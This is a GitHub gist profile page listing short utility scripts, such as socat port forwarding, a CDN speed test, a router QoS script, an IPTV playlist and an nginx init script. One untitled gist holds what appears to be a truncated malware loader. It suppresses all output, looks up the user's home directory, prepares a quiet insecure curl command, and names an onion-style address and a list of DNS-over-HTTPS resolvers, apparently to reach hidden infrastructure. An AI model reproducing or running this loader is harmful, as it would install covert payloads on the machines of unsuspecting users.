Skip to content

Instantly share code, notes, and snippets.

Avatar
🐶
Working all day

An Ansen

🐶
Working all day
View GitHub Profile
@Ansen
Ansen / port_forward_ipv4_ipv6.sh
Created Nov 16, 2022 — forked from dmazzer/port_forward_ipv4_ipv6.sh
Forwarding IPv4 Ports to IPv6 Hosts
View port_forward_ipv4_ipv6.sh
#!/bin/bash
# UDP:
socat UDP4-LISTEN:5683,fork,su=nobody UDP6:[aaaa::212:4b00:615:a1f7]:5683
# TCP:
socat TCP4-LISTEN:22,fork,su=nobody TCP6:[2a01:198:79d:1::8]:22
# UDP, IPv6
socat UDP6-LISTEN:5683,fork,su=nobody UDP6:[aaaa::212:4b00:615:a1f7]:5683
View speed-test.sh
#!/bin/bash
function speed_test_by_url(){
local url=$1
for x in $(curl -qs "$url")
do
speed=$(curl --max-time 10 --resolve cdn.cloudflare.steamstatic.com:443:$x https://cdn.cloudflare.steamstatic.com/steam/apps/256843155/movie_max.mp4 -kw "%{speed_download}" -o /dev/null)
speed=$(echo $speed| awk -F. '{print $1}')
speed=$((speed / 1024 / 1024))
View aliyundrive-webdav-upgrade.sh
#!/bin/sh
# Author: An Shen
# Date: 2022-02-16
# Version: 1.0
# Description: aliyundrive-webdav upgrade script
# Usage: ./aliyundrive-webdav-upgrade.sh
# Reference: https://www.github.com/ansen
. /etc/profile >/dev/null 2>&1
View gist:13b0efacc8ed535edb8b486804e5ded4
ynKONvfHlM9XKdcZS/f3enuhStRJ+oTHh+hG4qzhPe+Bxy3kPIJ0j2HbAq3MyhET
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "y4mcrfeigcaa2robjk3azb2qwcd5hk45xpoaddupmdwv24qoggnmdbid")
sockz() {
n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
@Ansen
Ansen / hiboyRomQos.sh
Created Oct 14, 2019
hiboyhiboyhiboy 老毛子固件 Qos脚本;在防火墙规则启动后执行!
View hiboyRomQos.sh
#!/bin/sh
#copyright by Emong's Qos update hiboy
export PATH=/opt/sbin:/opt/bin:/opt/usr/sbin:/opt/usr/bin:/usr/sbin:/usr/bin:/sbin:/bin
export LD_LIBRARY_PATH=/opt/lib:/lib
# qos 功能 0关闭;1启动
qoss=0
# 当在线终端≤2台时取消限速.(路由端1+电脑端1=2台)
qosb=2
# 默认为20M
DOWN=2560
@Ansen
Ansen / Solarized Light
Created Apr 30, 2019
electerm 自用主题 Solarized Light
View Solarized Light
foreground=#536870
background=#fcf4dc
cursor=#b5bd68
cursorAccent=#1d1f21
selection=rgba(66, 66, 66, 0.3)
black=#0000CC
red=#bd3613
green=#0EB860
yellow=#536870
blue=#708284
View sciptv
#EXTM3U name="四川电信IPTV"
#EXTINF:-1,CCTV-1高清
rtp://@239.93.0.184:5140
#EXTINF:-1,CCTV-2高清
rtp://@239.93.1.23:6000
#EXTINF:-1,CCTV-3高清
rtp://@239.93.1.11:2223
#EXTINF:-1,CCTV-5高清
rtp://@239.93.1.12:2224
#EXTINF:-1,CCTV-6高清
@Ansen
Ansen / send-gv-msg.py
Last active Feb 23, 2022
Out-of-date, python27 send google voice msg.
View send-gv-msg.py
# Need to install googlevoice
# pip install googlevoice
from googlevoice import Voice
def run():
username = "zxcv@gmail.com"
pwd = "123456"
voice = Voice()
voice.login(email=username, passwd=pwd)
View v2ex_daily_mission.py
#!/usr/bin/python
# -*- coding : utf-8 -*-
from bs4 import BeautifulSoup
import requests
username = '' # your v2ex username
password = '' # your v2ex password
login_url = 'https://v2ex.com/signin'
home_page = 'https://www.v2ex.com'
View nginx_init.d
#!/bin/bash
# nginx Startup script for the Nginx HTTP Server
# it is v.0.0.2 version.
# chkconfig: - 85 15
# description: Nginx is a high-performance web and proxy server.
# It has a lot of features, but it's not for everyone.
# processname: nginx
# pidfile: /var/run/nginx.pid
# config: /usr/local/nginx/conf/nginx.conf
nginxd=/usr/local/nginx/sbin/nginx